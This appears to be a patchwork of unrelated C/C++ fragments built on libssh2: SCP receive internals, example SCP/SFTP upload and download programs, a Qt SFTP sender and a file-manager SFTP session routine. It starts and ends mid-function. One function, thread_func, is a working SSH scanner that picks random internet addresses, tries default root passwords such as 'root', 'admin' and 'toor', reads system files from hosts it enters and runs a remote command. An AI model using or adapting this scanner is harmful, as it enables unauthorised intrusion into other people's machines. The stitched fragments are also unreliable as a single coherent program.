(!s || ((s - p) <= 0)) { /* No spaces or space in the wrong spot */ libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Invalid response from SCP server, too short or malformed", 0); goto scp_recv_error; } *(s++) = '\0'; /* Make sure we don't get fooled by leftover values */ errno = 0; session->scpRecv_size = scpsize_strtol(p, &e, 10); if ((e && *e) || errno) { libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Invalid response from SCP server, invalid size", 0); goto scp_recv_error; } /* SCP ACK */ session->scpRecv_response[0] = '\0'; session->scpRecv_state = libssh2_NB_state_sent6; } if (session->scpRecv_state == libssh2_NB_state_sent6) { rc = libssh2_channel_write_ex(session->scpRecv_channel, 0, (char *) session-> scpRecv_response, 1); if (rc == PACKET_EAGAIN) { libssh2_error(session, LIBSSH2_ERROR_EAGAIN, "Would block sending SCP ACK", 0); return NULL; } else if (rc != 1) { goto scp_recv_error; } _libssh2_debug(session, LIBSSH2_DBG_SCP, "mode = 0%lo size = %ld", session->scpRecv_mode, session->scpRecv_size); /* We *should* check that basename is valid, but why let that stop us? */ break; } } session->scpRecv_state = libssh2_NB_state_sent7; } if (sb) { memset(sb, 0, sizeof(struct stat)); sb->st_mtime = session->scpRecv_mtime; sb->st_atime = session->scpRecv_atime; sb->st_size = session->scpRecv_size; sb->st_mode = session->scpRecv_mode; } session->scpRecv_state = libssh2_NB_state_idle; return session->scpRecv_channel; scp_recv_error: while (libssh2_channel_free(session->scpRecv_channel) == PACKET_EAGAIN); session->scpRecv_channel = NULL; session->scpRecv_state = libssh2_NB_state_idle; return NULL; }
int main(int argc, char *argv[]) { unsigned long hostaddr; int sock, i, auth_pw = 1; struct sockaddr_in sin; const char *fingerprint; LIBSSH2_SESSION *session; LIBSSH2_CHANNEL *channel; const char *username="******"; const char *password="******"; const char *loclfile="scp_write.c"; const char *scppath="/tmp/TEST"; FILE *local; int rc; #if defined(HAVE_IOCTLSOCKET) long flag = 1; #endif char mem[1024]; size_t nread; char *ptr; struct stat fileinfo; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(2,0), &wsadata); #endif if (argc > 1) { hostaddr = inet_addr(argv[1]); } else { hostaddr = htonl(0x7F000001); } if (argc > 2) { username = argv[2]; } if (argc > 3) { password = argv[3]; } if(argc > 4) { loclfile = argv[4]; } if (argc > 5) { scppath = argv[5]; } local = fopen(loclfile, "rb"); if (!local) { fprintf(stderr, "Can't local file %s\n", loclfile); goto shutdown; } stat(loclfile, &fileinfo); /* Ultra basic "connect to port 22 on localhost" * Your code is responsible for creating the socket establishing the * connection */ sock = socket(AF_INET, SOCK_STREAM, 0); sin.sin_family = AF_INET; sin.sin_port = htons(22); sin.sin_addr.s_addr = hostaddr; if (connect(sock, (struct sockaddr*)(&sin), sizeof(struct sockaddr_in)) != 0) { fprintf(stderr, "failed to connect!\n"); return -1; } /* We set the socket non-blocking. We do it after the connect just to simplify the example code. */ #ifdef F_SETFL /* FIXME: this can/should be done in a more portable manner */ rc = fcntl(sock, F_GETFL, 0); fcntl(sock, F_SETFL, rc | O_NONBLOCK); #elif defined(HAVE_IOCTLSOCKET) ioctlsocket(sock, FIONBIO, &flag); #else #ifdef WIN32 u_long mode = 1; ioctlsocket (sock, FIONBIO, &mode); #else #error "add support for setting the socket non-blocking here" #endif #endif /* Create a session instance */ session = libssh2_session_init(); if(!session) return -1; /* Since we have set non-blocking, tell libssh2 we are non-blocking */ libssh2_session_set_blocking(session, 0); /* ... start it up. This will trade welcome banners, exchange keys, * and setup crypto, compression, and MAC layers */ while ((rc = libssh2_session_startup(session, sock)) == LIBSSH2_ERROR_EAGAIN); if(rc) { fprintf(stderr, "Failure establishing SSH session: %d\n", rc); return -1; } /* At this point we havn't yet authenticated. The first thing to do * is check the hostkey's fingerprint against our known hosts Your app * may have it hard coded, may go to a file, may present it to the * user, that's your call */ fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_MD5); fprintf(stderr, "Fingerprint: "); for(i = 0; i < 16; i++) { fprintf(stderr, "%02X ", (unsigned char)fingerprint[i]); } fprintf(stderr, "\n"); if (auth_pw) { /* We could authenticate via password */ while ((rc = libssh2_userauth_password(session, username, password)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "Authentication by password failed.\n"); goto shutdown; } } else { /* Or by public key */ while ((rc = libssh2_userauth_publickey_fromfile(session, username, "/home/username/.ssh/id_rsa.pub", "/home/username/.ssh/id_rsa", password)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "\tAuthentication by public key failed\n"); goto shutdown; } } /* Request a file via SCP */ do { channel = libssh2_scp_send(session, scppath, 0x1FF & fileinfo.st_mode, (unsigned long)fileinfo.st_size); if ((!channel) && (libssh2_session_last_errno(session) != LIBSSH2_ERROR_EAGAIN)) { char *err_msg; libssh2_session_last_error(session, &err_msg, NULL, 0); fprintf(stderr, "%s\n", err_msg); goto shutdown; } } while (!channel); fprintf(stderr, "SCP session waiting to send file\n"); do { nread = fread(mem, 1, sizeof(mem), local); if (nread <= 0) { /* end of file */ break; } ptr = mem; do { /* write data in a loop until we block */ while ((rc = libssh2_channel_write(channel, ptr, nread)) == LIBSSH2_ERROR_EAGAIN); if (rc < 0) { fprintf(stderr, "ERROR %d\n", rc); } ptr += rc; nread -= rc; } while (nread > 0); } while (1); fprintf(stderr, "Sending EOF\n"); while (libssh2_channel_send_eof(channel) == LIBSSH2_ERROR_EAGAIN); fprintf(stderr, "Waiting for EOF\n"); while (libssh2_channel_wait_eof(channel) == LIBSSH2_ERROR_EAGAIN); fprintf(stderr, "Waiting for channel to close\n"); while (libssh2_channel_wait_closed(channel) == LIBSSH2_ERROR_EAGAIN); libssh2_channel_free(channel); channel = NULL; shutdown: while ((rc = libssh2_session_disconnect(session, "Normal Shutdown, Thank you for playing")) == LIBSSH2_ERROR_EAGAIN); libssh2_session_free(session); #ifdef WIN32 Sleep(1000); closesocket(sock); #else sleep(1); close(sock); #endif fprintf(stderr, "all done\n"); return 0; }
QString SshSFtp::send(const QString &source, QString dest) { QFile s(source); QFileInfo src(source); QByteArray buffer(1024 * 100, 0); size_t nread; char *ptr; long total = 0; FILE *local; int rc; LIBSSH2_SFTP_HANDLE *sftpfile; if(dest.endsWith("/")) { if(!isDir(dest)) { mkpath(dest); } dest += src.fileName(); } local = fopen(qPrintable(source), "rb"); if (!local) { qDebug() << "ERROR : Can't open file "<< source; return ""; } do { sftpfile = libssh2_sftp_open(m_sftpSession, qPrintable(dest), LIBSSH2_FXF_WRITE|LIBSSH2_FXF_CREAT|LIBSSH2_FXF_TRUNC, LIBSSH2_SFTP_S_IRUSR|LIBSSH2_SFTP_S_IWUSR| LIBSSH2_SFTP_S_IRGRP|LIBSSH2_SFTP_S_IROTH); rc = libssh2_session_last_errno(sshClient->session()); if (!sftpfile && (rc == LIBSSH2_ERROR_EAGAIN)) { m_waitData(2000); } else { if(!sftpfile) { qDebug() << "ERROR : SSH error " << rc; fclose(local); return ""; } } } while (!sftpfile); do { nread = fread(buffer.data(), 1, buffer.size(), local); if (nread <= 0) { /* end of file */ break; } ptr = buffer.data(); total += nread; do { while ((rc = libssh2_sftp_write(sftpfile, ptr, nread)) == LIBSSH2_ERROR_EAGAIN) { m_waitData(2000); } if(rc < 0) { qDebug() << "ERROR : Write error send(" << source << "," << dest << ") = " << rc; break; } ptr += rc; nread -= rc; } while (nread); } while (rc > 0); fclose(local); libssh2_sftp_close(sftpfile); return dest; }
void* thread_func(void* arg) { int sockfd; sockaddr_in serv_addr; char curhost[26]; boost::random::uniform_int_distribution<> dist(1, 9999999999999);//numeric_limits< unsigned long>::max()); boost::random::mt19937 gen((int)pthread_self()+(int)time(NULL)); LIBSSH2_SESSION *session=0; // HCkSsh ssh; srand((int)pthread_self()+rand()+time(NULL)); while (do_scan) { sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) deb("ERROR opening socket: %s\r\n",fmterr()); setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)); long flags; flags = fcntl(sockfd, F_GETFL, 0); fcntl(sockfd, F_SETFL, flags | O_NONBLOCK); bzero((char *) &serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(22); do { serv_addr.sin_addr.s_addr = dist(gen);//getrnd(0,100000000000000);//rand();//inet_addr("195.2.253.204") } while (ischecking(serv_addr.sin_addr.s_addr)); strncpy(curhost, inet_ntoa(serv_addr.sin_addr), sizeof(curhost)); addchecking(serv_addr.sin_addr.s_addr); unsigned long chkdist=0; chkdist=dist(gen); int ret; // deb("\rconnecting %16s ", inet_ntoa(serv_addr.sin_addr)); ret=connect(sockfd, (struct sockaddr*) &serv_addr, sizeof( serv_addr)); fd_set fds; //deb("ret:%d errno:%s (%d)\r\n",ret,strerror(errno),errno); // sleep(1); FD_ZERO(&fds); FD_SET(sockfd, &fds); tv.tv_sec = 2; tv.tv_usec = 0; char buf[1024]; if (ret==0 || (ret==-1 && errno == EINPROGRESS)) { ipscanned++; int res = select(sockfd+1, &fds,&fds, 0, &tv); //deb("res:%d errno:%s (%d)\r\n",res,strerror(errno),errno); if (res < 0 && errno != EINTR) { // deb("\r\n%s Error connecting %d - %s\n\r", // curhost, errno, strerror(errno)); } else if (res > 0) { flags &= (~O_NONBLOCK); if ( fcntl(sockfd, F_SETFL, flags) < 0) { deb("Error fcntl(..., F_SETFL) (%s)\n", strerror(errno)); } int rcv; memset(buf, 0, sizeof(buf)); rcv = recv(sockfd, buf, sizeof(buf), MSG_PEEK); //if (rcv>0) // buf[rcv]=0; // if (rcv>0) // deb("rcv: %d %s\r\n",rcv, trim(buf)); const char *username="******"; const char *password="******"; const char *sftppath="/tmp"; int rc; const char *fingerprint; session = libssh2_session_init(); libssh2_session_set_blocking(session, 1); int numTry=0; while (session>0 && (rc = libssh2_session_handshake(session, sockfd)) == LIBSSH2_ERROR_EAGAIN); int u; LIBSSH2_CHANNEL *channel=0; if (rc) { if (rc!=-43) deb("%16s failure establishing SSH session: %d [rnd: %lu, checking: %d]\n", curhost,rc,chkdist,checking.size()); //return -1; } else { totscanned++; fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_SHA1); deb( "%16s %-50s ", inet_ntoa(serv_addr.sin_addr), trim(buf)); for (int i = 0; i < 20; i++) { deb(KYEL "%02X " RESET, (unsigned char)fingerprint[i]); } deb( "\n"); char* passwords[]={"root","admin","toor","r00t","adm", "secure","pwd","password","god" }; for ( u=0;u<3;u++) { if (libssh2_userauth_password(session, username, passwords[u])) { // deb( "%16s " KRED "Authentication by password failed. [%s]\n" // RESET, inet_ntoa(serv_addr.sin_addr),passwords[u]); continue; } else { deb(KCYN "%16s authenticated %s:%s \r\n" RESET, inet_ntoa(serv_addr.sin_addr), username,passwords[u],totscanned); struct stat fileinfo; channel = libssh2_scp_recv(session, "/etc/services", &fileinfo); if (!channel) { deb(KRED "%16s Unable to open a session: %d\r\n" RESET, inet_ntoa(serv_addr.sin_addr), libssh2_session_last_errno(session)); break; } if (!fileinfo.st_size) { deb(KGRN "%16s router/modem\r\n" RESET, inet_ntoa(serv_addr.sin_addr), fileinfo.st_size); fdeb("%s %s:%s [router/modem (%s)]\r\n", inet_ntoa(serv_addr.sin_addr), username,passwords[u],trim(buf)); } else { deb(KGRN "%16s unknown device fs:%d [%s]\r\n" RESET, inet_ntoa(serv_addr.sin_addr), fileinfo.st_size,trim(buf)); fdeb("%s %s:%s unknown (%s)\r\n", inet_ntoa(serv_addr.sin_addr), username,passwords[u],trim( buf)); } channel = libssh2_scp_recv(session, "/proc/cpuinfo", &fileinfo); if (!channel) { // deb(KRED "\r\nUnable to open a session: %d\r\n" RESET, // libssh2_session_last_errno(session)); //break; } else { int got=0; char mem[1024]; int amount=sizeof(mem); while (got < fileinfo.st_size) { if ((fileinfo.st_size -got) < amount) { amount = fileinfo.st_size -got; } rc = libssh2_channel_read(channel, mem, amount); if (rc > 0) { deb("mem:%p rc:%d", mem, rc); } else if (rc < 0) { deb("libssh2_channel_read() failed: %d\n", rc); break; } got += rc; } if (mem[0]) deb("mem: %s", mem); } founds++; try { MySexec sexec; sexec.SetSSHHost( curhost ); int ret_code = sexec.SetTimeout(17); if (ret_code) throw("\r\nfailed: SetTimeout\r\n"); ret_code = sexec.SetSSHUser(username); if (ret_code) throw("\r\nfailed: SetSSHUser\r\n"); ret_code = sexec.SetSSHPassword(passwords[u]); if (ret_code) throw("\r\nfailed: SetSSHPassword()\r\n"); ret_code = sexec.SSHLogon(curhost ,22); if (ret_code) throw("\r\nfailed: SSHLogon\r\n"); ret_code = sexec.Execute("ls -l"); if (ret_code) throw("\r\Execute:%d",ret_code); //sleep(2); deb(KGRN "executed on %s\r\n" RESET, curhost); // fdeb("\r\n[host %s]\r\n",curhost); // exit(0); } catch ( const char *str ) { deb(KRED "in except: %s\r\n" RESET,str); } //exit(0); } } // free(fingerprint); } if (channel) libssh2_channel_free(channel); if (session) { // libssh2_session_disconnect(session, "Norm"); libssh2_session_free(session); } /* ssh = CkSsh_Create(); bool success; CkSsh_UnlockComponent(ssh,"Anything for 30-day trial"); success = CkSsh_Connect(ssh,inet_ntoa(serv_addr.sin_addr),22); CkSsh_putIdleTimeoutMs(ssh,5000); success = CkSsh_AuthenticatePw(ssh,"root","root"); if (success != TRUE) { deb("%s\n",CkSsh_lastErrorText(ssh)); return 0; } int channelNum; channelNum = CkSsh_OpenSessionChannel(ssh); if (channelNum < 0) { deb("%s\n",CkSsh_lastErrorText(ssh)); return 0; } success = CkSsh_SendReqExec(ssh,channelNum,"uname -a"); if (success != TRUE) { deb("%s\n",CkSsh_lastErrorText(ssh)); return 0; } // Call ChannelReceiveToClose to read // output until the server's corresponding "channel close" is received. success = CkSsh_ChannelReceiveToClose(ssh,channelNum); if (success != TRUE) { deb("%s\n",CkSsh_lastErrorText(ssh)); return 0; } // Let's pickup the accumulated output of the command: const char * cmdOutput; cmdOutput = CkSsh_getReceivedText(ssh,channelNum,"ansi"); if (cmdOutput == 0 ) { deb("%s\n",CkSsh_lastErrorText(ssh)); return 0; } // Display the remote shell's command output: deb("%s\n",cmdOutput); // Disconnect CkSsh_Disconnect(ssh); CkSsh_Dispose(ssh);*/ } }
void FSSftp::CheckSessionEagain() { int e = libssh2_session_last_errno( this->sshSession ); if ( e != LIBSSH2_ERROR_EAGAIN ) { throw int( e - 1000 ); } }
int main(int argc, char *argv[]) { unsigned long hostaddr; int sock, i, auth_pw = 1; struct sockaddr_in sin; const char *fingerprint; LIBSSH2_SESSION *session; const char *username="******"; const char *password="******"; const char *loclfile="sftp_write_nonblock.c"; const char *sftppath="/tmp/sftp_write_nonblock.c"; int rc; FILE *local; LIBSSH2_SFTP *sftp_session; LIBSSH2_SFTP_HANDLE *sftp_handle; char mem[1024 * 1000]; size_t nread; size_t memuse; time_t start; long total = 0; int duration; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(2,0), &wsadata); #endif if (argc > 1) { hostaddr = inet_addr(argv[1]); } else { hostaddr = htonl(0x7F000001); } if (argc > 2) { username = argv[2]; } if (argc > 3) { password = argv[3]; } if (argc > 4) { loclfile = argv[4]; } if (argc > 5) { sftppath = argv[5]; } rc = libssh2_init (0); if (rc != 0) { fprintf (stderr, "libssh2 initialization failed (%d)\n", rc); return 1; } local = fopen(loclfile, "rb"); if (!local) { printf("Can't local file %s\n", loclfile); return -1; } /* * The application code is responsible for creating the socket * and establishing the connection */ sock = socket(AF_INET, SOCK_STREAM, 0); sin.sin_family = AF_INET; sin.sin_port = htons(22); sin.sin_addr.s_addr = hostaddr; if (connect(sock, (struct sockaddr*)(&sin), sizeof(struct sockaddr_in)) != 0) { fprintf(stderr, "failed to connect!\n"); return -1; } /* Create a session instance */ session = libssh2_session_init(); if (!session) return -1; /* Since we have set non-blocking, tell libssh2 we are non-blocking */ libssh2_session_set_blocking(session, 0); /* ... start it up. This will trade welcome banners, exchange keys, * and setup crypto, compression, and MAC layers */ while ((rc = libssh2_session_handshake(session, sock)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "Failure establishing SSH session: %d\n", rc); return -1; } /* At this point we havn't yet authenticated. The first thing to do is * check the hostkey's fingerprint against our known hosts Your app may * have it hard coded, may go to a file, may present it to the user, * that's your call */ fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_SHA1); printf("Fingerprint: "); for(i = 0; i < 20; i++) { printf("%02X ", (unsigned char)fingerprint[i]); } printf("\n"); if (auth_pw) { /* We could authenticate via password */ while ((rc = libssh2_userauth_password(session, username, password)) == LIBSSH2_ERROR_EAGAIN); if (rc) { printf("Authentication by password failed.\n"); goto shutdown; } } else { /* Or by public key */ while ((rc = libssh2_userauth_publickey_fromfile(session, username, "/home/username/.ssh/id_rsa.pub", "/home/username/.ssh/id_rsa", password)) == LIBSSH2_ERROR_EAGAIN); if (rc) { printf("\tAuthentication by public key failed\n"); goto shutdown; } } fprintf(stderr, "libssh2_sftp_init()!\n"); do { sftp_session = libssh2_sftp_init(session); if (!sftp_session && (libssh2_session_last_errno(session) != LIBSSH2_ERROR_EAGAIN)) { fprintf(stderr, "Unable to init SFTP session\n"); goto shutdown; } } while (!sftp_session); fprintf(stderr, "libssh2_sftp_open()!\n"); /* Request a file via SFTP */ do { sftp_handle = libssh2_sftp_open(sftp_session, sftppath, LIBSSH2_FXF_WRITE|LIBSSH2_FXF_CREAT|LIBSSH2_FXF_TRUNC, LIBSSH2_SFTP_S_IRUSR|LIBSSH2_SFTP_S_IWUSR| LIBSSH2_SFTP_S_IRGRP|LIBSSH2_SFTP_S_IROTH); if (!sftp_handle && (libssh2_session_last_errno(session) != LIBSSH2_ERROR_EAGAIN)) { fprintf(stderr, "Unable to open file with SFTP\n"); goto shutdown; } } while (!sftp_handle); fprintf(stderr, "libssh2_sftp_open() is done, now send data!\n"); start = time(NULL); memuse = 0; /* it starts blank */ do { nread = fread(&mem[memuse], 1, sizeof(mem)-memuse, local); if (nread <= 0) { /* end of file */ if (memuse > 0) /* the previous sending is not finished */ nread = 0; else break; } memuse += nread; total += nread; /* write data in a loop until we block */ while ((rc = libssh2_sftp_write(sftp_handle, mem, memuse)) == LIBSSH2_ERROR_EAGAIN) { waitsocket(sock, session); } if(rc < 0) break; if(memuse - rc) { /* make room for more data at the end of the buffer */ memmove(&mem[0], &mem[rc], memuse - rc); memuse -= rc; } else /* 'mem' was consumed fully */ memuse = 0; } while (rc > 0); duration = (int)(time(NULL)-start); printf("%ld bytes in %d seconds makes %.1f bytes/sec\n", total, duration, total/(double)duration); fclose(local); libssh2_sftp_close(sftp_handle); libssh2_sftp_shutdown(sftp_session); shutdown: while (libssh2_session_disconnect(session, "Normal Shutdown, Thank you for playing") == LIBSSH2_ERROR_EAGAIN); libssh2_session_free(session); #ifdef WIN32 closesocket(sock); #else close(sock); #endif printf("all done\n"); libssh2_exit(); return 0; }
int main(int argc, char *argv[]) { unsigned long hostaddr; int sock, i, auth_pw = 1; struct sockaddr_in sin; const char *fingerprint; LIBSSH2_SESSION *session; LIBSSH2_CHANNEL *channel; const char *username="******"; const char *password="******"; const char *scppath="/tmp/TEST"; libssh2_struct_stat fileinfo; #ifdef HAVE_GETTIMEOFDAY struct timeval start; struct timeval end; long time_ms; #endif int rc; int spin = 0; libssh2_struct_stat_size got = 0; libssh2_struct_stat_size total = 0; #ifdef WIN32 WSADATA wsadata; int err; err = WSAStartup(MAKEWORD(2,0), &wsadata); if (err != 0) { fprintf(stderr, "WSAStartup failed with error: %d\n", err); return 1; } #endif if (argc > 1) { hostaddr = inet_addr(argv[1]); } else { hostaddr = htonl(0x7F000001); } if (argc > 2) { username = argv[2]; } if (argc > 3) { password = argv[3]; } if (argc > 4) { scppath = argv[4]; } rc = libssh2_init (0); if (rc != 0) { fprintf (stderr, "libssh2 initialization failed (%d)\n", rc); return 1; } /* Ultra basic "connect to port 22 on localhost" * Your code is responsible for creating the socket establishing the * connection */ sock = socket(AF_INET, SOCK_STREAM, 0); sin.sin_family = AF_INET; sin.sin_port = htons(22); sin.sin_addr.s_addr = hostaddr; if (connect(sock, (struct sockaddr*)(&sin), sizeof(struct sockaddr_in)) != 0) { fprintf(stderr, "failed to connect!\n"); return -1; } /* Create a session instance */ session = libssh2_session_init(); if (!session) return -1; /* Since we have set non-blocking, tell libssh2 we are non-blocking */ libssh2_session_set_blocking(session, 0); #ifdef HAVE_GETTIMEOFDAY gettimeofday(&start, NULL); #endif /* ... start it up. This will trade welcome banners, exchange keys, * and setup crypto, compression, and MAC layers */ while ((rc = libssh2_session_handshake(session, sock)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "Failure establishing SSH session: %d\n", rc); return -1; } /* At this point we havn't yet authenticated. The first thing to do * is check the hostkey's fingerprint against our known hosts Your app * may have it hard coded, may go to a file, may present it to the * user, that's your call */ fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_SHA1); fprintf(stderr, "Fingerprint: "); for(i = 0; i < 20; i++) { fprintf(stderr, "%02X ", (unsigned char)fingerprint[i]); } fprintf(stderr, "\n"); if (auth_pw) { /* We could authenticate via password */ while ((rc = libssh2_userauth_password(session, username, password)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "Authentication by password failed.\n"); goto shutdown; } } else { /* Or by public key */ while ((rc = libssh2_userauth_publickey_fromfile(session, username, "/home/username/" ".ssh/id_rsa.pub", "/home/username/" ".ssh/id_rsa", password)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "\tAuthentication by public key failed\n"); goto shutdown; } } #if 0 libssh2_trace(session, LIBSSH2_TRACE_CONN); #endif /* Request a file via SCP */ fprintf(stderr, "libssh2_scp_recv2()!\n"); do { channel = libssh2_scp_recv2(session, scppath, &fileinfo); if (!channel) { if(libssh2_session_last_errno(session) != LIBSSH2_ERROR_EAGAIN) { char *err_msg; libssh2_session_last_error(session, &err_msg, NULL, 0); fprintf(stderr, "%s\n", err_msg); goto shutdown; } else { fprintf(stderr, "libssh2_scp_recv() spin\n"); waitsocket(sock, session); } } } while (!channel); fprintf(stderr, "libssh2_scp_recv() is done, now receive data!\n"); while(got < fileinfo.st_size) { char mem[1024*24]; int rc; do { int amount=sizeof(mem); if ((fileinfo.st_size -got) < amount) { amount = (int)(fileinfo.st_size - got); } /* loop until we block */ rc = libssh2_channel_read(channel, mem, amount); if (rc > 0) { write(1, mem, rc); got += rc; total += rc; } } while (rc > 0); if ((rc == LIBSSH2_ERROR_EAGAIN) && (got < fileinfo.st_size)) { /* this is due to blocking that would occur otherwise so we loop on this condition */ spin++; waitsocket(sock, session); /* now we wait */ continue; } break; } #ifdef HAVE_GETTIMEOFDAY gettimeofday(&end, NULL); time_ms = tvdiff(end, start); fprintf(stderr, "Got " LIBSSH2_STRUCT_STAT_SIZE_FORMAT " bytes in %ld ms = %.1f bytes/sec spin: %d\n", total, time_ms, total/(time_ms/1000.0), spin); #else fprintf(stderr, "Got " LIBSSH2_STRUCT_STAT_SIZE_FORMAT " bytes spin: %d\n", total, spin); #endif libssh2_channel_free(channel); channel = NULL; shutdown: libssh2_session_disconnect(session, "Normal Shutdown, Thank you for playing"); libssh2_session_free(session); #ifdef WIN32 closesocket(sock); #else close(sock); #endif fprintf(stderr, "all done\n"); libssh2_exit(); return 0; }
int FSSftp::CheckSession( int* err, FSCInfo* info ) { if ( sshSession ) { return 0; } try { unsigned ip; int e; if ( !GetHostIp( unicode_to_utf8( _operParam.server.Data() ).data(), &ip, &e ) ) { throw int( e ); } _sock.Create(); _sock.Connect( ntohl( ip ), _operParam.port ); sshSession = libssh2_session_init(); if ( !sshSession ) { throw int( SSH_INTERROR_X3 ); } libssh2_session_set_blocking( sshSession, 0 ); WHILE_EAGAIN_( e, libssh2_session_handshake( sshSession, _sock.Id() ) ); if ( e ) { throw int( e - 1000 ); } FSString userName = ""; if ( _operParam.user.Data()[0] ) { userName = _operParam.user.Data(); } else { #ifndef _WIN32 char* ret = getenv( "LOGNAME" ); if ( ret ) { userName = FSString( sys_charset_id, ret ); _operParam.user = userName.GetUnicode(); MutexLock infoLock( &infoMutex ); _infoParam.user = userName.GetUnicode(); } #endif }; char* authList = 0; char* charUserName = ( char* )userName.Get( _operParam.charset ); while ( true ) { authList = libssh2_userauth_list( sshSession, charUserName, strlen( charUserName ) ); if ( authList ) { break; } CheckSessionEagain(); WaitSocket( info ); } //publickey,password,keyboard-interactive static const char passId[] = "password"; static const char kInterId[] = "keyboard-interactive"; static unicode_t userSymbol = '@'; while ( true ) { if ( !strncmp( authList, passId, strlen( passId ) ) ) { FSPromptData data; data.visible = false; data.prompt = utf8_to_unicode( "Password:"******"SFTP_" ).data(), carray_cat<unicode_t>( userName.GetUnicode(), &userSymbol, _operParam.server.Data() ).data(), &data, 1 ) ) { throw int( SSH_INTERROR_STOPPED ); } int ret; WHILE_EAGAIN_( ret, libssh2_userauth_password( sshSession, ( char* )FSString( _operParam.user.Data() ).Get( _operParam.charset ), ( char* )FSString( data.prompt.Data() ).Get( _operParam.charset ) ) ); if ( ret ) { throw int( ret - 1000 ); } break; //!!! } else if ( !strncmp( authList, kInterId, strlen( kInterId ) ) ) { MutexLock lock( &kbdIntMutex ); kbdIntInfo = info; kbdIntParam = &_operParam; int ret; WHILE_EAGAIN_( ret, libssh2_userauth_keyboard_interactive( sshSession, ( char* )FSString( _operParam.user.Data() ).Get( _operParam.charset ), KbIntCallback ) ); if ( ret ) { throw int( ret - 1000 ); } break; //!!! } char* s = authList; while ( *s && *s != ',' ) { s++; } if ( !*s ) { break; } authList = s + 1; }; while ( true ) { sftpSession = libssh2_sftp_init( sshSession ); if ( sftpSession ) { break; } if ( !sftpSession ) { int e = libssh2_session_last_errno( sshSession ); if ( e != LIBSSH2_ERROR_EAGAIN ) { throw int( e - 1000 ); } } WaitSocket( info ); } return 0; } catch ( int e ) { if ( err ) { *err = e; } //if (sftpSession) ??? похоже закрытие сессии все решает if ( sshSession ) { libssh2_session_free( sshSession ); } sshSession = 0; sftpSession = 0; _sock.Close( false ); return ( e == -2 ) ? -2 : -1; } }
int CLibssh2::get_session_errcode() const { LIBSSH2_SESSION* session = static_cast<LIBSSH2_SESSION*>(_session); return libssh2_session_last_errno(session); }
int main(int argc, char *argv[]) { unsigned long hostaddr; int sock, i, auth_pw = 1; struct sockaddr_in sin; const char *fingerprint; LIBSSH2_SESSION *session; const char *username="******"; const char *password="******"; const char *sftppath="/tmp/TEST"; struct timeval start; struct timeval end; int rc; int total = 0; long time_ms; int spin = 0; #if defined(HAVE_IOCTLSOCKET) long flag = 1; #endif LIBSSH2_SFTP *sftp_session; LIBSSH2_SFTP_HANDLE *sftp_handle; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(2,0), &wsadata); #endif if (argc > 1) { hostaddr = inet_addr(argv[1]); } else { hostaddr = htonl(0x7F000001); } if (argc > 2) { username = argv[2]; } if (argc > 3) { password = argv[3]; } if (argc > 4) { sftppath = argv[4]; } rc = libssh2_init (0); if (rc != 0) { fprintf (stderr, "libssh2 initialization failed (%d)\n", rc); return 1; } /* * The application code is responsible for creating the socket * and establishing the connection */ sock = socket(AF_INET, SOCK_STREAM, 0); sin.sin_family = AF_INET; sin.sin_port = htons(22); sin.sin_addr.s_addr = hostaddr; if (connect(sock, (struct sockaddr*)(&sin), sizeof(struct sockaddr_in)) != 0) { fprintf(stderr, "failed to connect!\n"); return -1; } /* Create a session instance */ session = libssh2_session_init(); if (!session) return -1; /* Since we have set non-blocking, tell libssh2 we are non-blocking */ libssh2_session_set_blocking(session, 0); gettimeofday(&start, NULL); /* ... start it up. This will trade welcome banners, exchange keys, * and setup crypto, compression, and MAC layers */ while ((rc = libssh2_session_startup(session, sock)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "Failure establishing SSH session: %d\n", rc); return -1; } /* At this point we havn't yet authenticated. The first thing to do * is check the hostkey's fingerprint against our known hosts Your app * may have it hard coded, may go to a file, may present it to the * user, that's your call */ fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_SHA1); fprintf(stderr, "Fingerprint: "); for(i = 0; i < 20; i++) { fprintf(stderr, "%02X ", (unsigned char)fingerprint[i]); } fprintf(stderr, "\n"); if (auth_pw) { /* We could authenticate via password */ while ((rc = libssh2_userauth_password(session, username, password)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "Authentication by password failed.\n"); goto shutdown; } } else { /* Or by public key */ while ((rc = libssh2_userauth_publickey_fromfile(session, username, "/home/username/" ".ssh/id_rsa.pub", "/home/username/" ".ssh/id_rsa", password)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "\tAuthentication by public key failed\n"); goto shutdown; } } #if 0 libssh2_trace(session, LIBSSH2_TRACE_CONN); #endif fprintf(stderr, "libssh2_sftp_init()!\n"); do { sftp_session = libssh2_sftp_init(session); if(!sftp_session) { if(libssh2_session_last_errno(session) == LIBSSH2_ERROR_EAGAIN) { fprintf(stderr, "non-blocking init\n"); waitsocket(sock, session); /* now we wait */ } else { fprintf(stderr, "Unable to init SFTP session\n"); goto shutdown; } } } while (!sftp_session); fprintf(stderr, "libssh2_sftp_open()!\n"); /* Request a file via SFTP */ do { sftp_handle = libssh2_sftp_open(sftp_session, sftppath, LIBSSH2_FXF_READ, 0); if (!sftp_handle) { if (libssh2_session_last_errno(session) != LIBSSH2_ERROR_EAGAIN) { fprintf(stderr, "Unable to open file with SFTP\n"); goto shutdown; } else { fprintf(stderr, "non-blocking open\n"); waitsocket(sock, session); /* now we wait 